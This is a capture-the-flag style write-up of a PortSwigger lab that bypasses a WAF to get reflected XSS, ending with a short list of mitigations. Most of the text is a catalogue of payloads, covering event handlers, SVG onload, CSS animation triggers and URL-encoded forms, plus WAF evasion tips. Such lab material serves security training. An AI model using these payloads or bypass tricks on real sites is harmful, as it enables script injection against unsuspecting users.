Reflected XSS into HTML context with most tags and attributes blocked
Reflected XSS into HTML context with most tags and attributes blocked: Perform a reflected XSS in the search feature that is protected by a WAF, and trigger print() in the victim’s browser. • PortSwigger • Reflected-XSS, XSS • lab3, portswigger
🎯 Objective
Perform a reflected XSS in the search feature that is protected by a WAF, and trigger print() in the victim’s browser.
🧩 Lab Brief
- Vulnerability: Reflected XSS in a querystring parameter (e.g.,
?search=). - Constraint: Requests containing obvious XSS vectors (e.g.,
<script>,javascript:URLs, common events) are filtered by a WAF. - Success Condition: Payload executes
print().
🛠️ Environment & Assumptions
- Target endpoint (example):
https://www.xsisec.vulnerablesite.com/?search=<payload> - Reflection occurs in an HTML/DOM context derived from
document.URLorlocation.search. - WAF blocks common signatures but does not normalize/parse all HTML attributes and event variants.
📌 Methodology (Repeatable)
- Confirm reflection: Supply a unique marker (
xsiSEC123) insearchand verify it appears in the DOM (DevTools → Elements). - Identify context: Determine whether the reflection is inside HTML text, attribute, or JS string.
- Select sink strategy: Choose an element/event that auto-fires without user interaction (e.g.,
onload,onfocus,onanimationstart, SVG handlers, etc.). - Apply light obfuscation: Case toggling, attribute order shuffling, encoded separators, or less-common event names.
- Test safely: Use
alert(1)first. When confirmed, switch toprint()to complete the lab.
🧪 Working Payloads (Minimal → Obfuscated)
Replace
⟨PAYLOAD⟩into?search=⟨PAYLOAD⟩. Always URL‑encode when sending.
A. Attribute Injection (auto‑executing events)
Candidate tag: <img> or <svg> placed into an attribute context that browser fixes.
1) Lightweight (often blocked by “obvious” filters)
" onload=print() x="2) Case & whitespace shuffle
" oNlOaD = print() x="3) HTML entity separation
" onload=print() x="4) Inline style + animation (fires without interaction)
" style=animation-name:a;animation-duration:1s onanimationstart=print() x="5) SVG (commonly missed by naive filters)
</title><svg/onload=print()>6) MathML / XML‑ish fallback (if supported by target)
</p><math href=x onmouseover=print()>.
B. Text‑Context → New Tag Injection
When the reflection is pure text between tags, introduce a tag:
<img src=x onerror=print()>WAF bypass variants
<Img sRc=x oNeRrOr=print()>
<svg onload=print()>
<iframe srcdoc="<svg onload=print()>">C. URL‑Encoded Examples (drop‑in)
Attribute injection (simple):
%22%20onload%3Dprint()%20x%3D%22SVG onload:
%3C%2Ftitle%3E%3Csvg%2Fonload%3Dprint()%3EAnimation trick:
%22%20style%3Danimation-name%3Aa%3Banimation-duration%3A1s%20onanimationstart%3Dprint()%20x%3D%22
🔍 Step‑by‑Step (What I Did)
Enumerated allowed markup/events
- Used Burp/DevTools to try low‑noise injections and note what the WAF blocked (e.g.,
<script>,javascript:).
- Used Burp/DevTools to try low‑noise injections and note what the WAF blocked (e.g.,
Selected auto‑fire vector
- Chose
onload/onanimationstartwhere possible to avoid clicks/hover.
- Chose
Applied light obfuscation
- Case toggling in attribute names, entity‑encoded characters inside function names, and benign filler attributes.
Validated with
alert(1)- Once confirmed, replaced with
print()to meet the lab goal.
- Once confirmed, replaced with
✅ Final Confirmed Payload (example)
Use the SVG onload variant (widely effective vs naive WAFs):
</title><svg/onload=print()>Encoded URL parameter:
?search=%3C%2Ftitle%3E%3Csvg%2Fonload%3Dprint()%3ENavigate to:
https://www.xsisec.vulnerablesite.com/?search=%3C%2Ftitle%3E%3Csvg%2Fonload%3Dprint()%3EThe page renders, the SVG node is parsed, and print() is executed.
🧯 Common WAF Bypass Tips (Quick Reference)
- Case randomization:
onLoad,OnLoAd, etc. - Attribute spacing:
onload = print() - Benign junk attributes:
x=1 y=2 - Entity split:
print()→print() - Alternate elements:
svg,math,iframe[srcdoc] - CSS event path:
onanimationstart,ontransitionend - Avoid banned tokens: Skip
javascript:and<script> - Encode early: Always percent‑encode for transport
🧱 Mitigations (for defenders)
- Context‑aware output encoding (HTML/attr/JS/URL).
- CSP with nonces (
script-src 'nonce-…') and no inline. - Avoid putting raw URL/query into DOM; use safe text APIs.
- WAF ≠ fix: treat it as signal, not a primary control.
🔚 TL;DR
- Confirm reflection → identify context → pick auto‑firing sink → obfuscate lightly → ship
print(). - Tried: attribute injection, SVG
onload, CSS animation events. - Working solution:
</title><svg/onload=print()>(URL‑encoded in the querystring).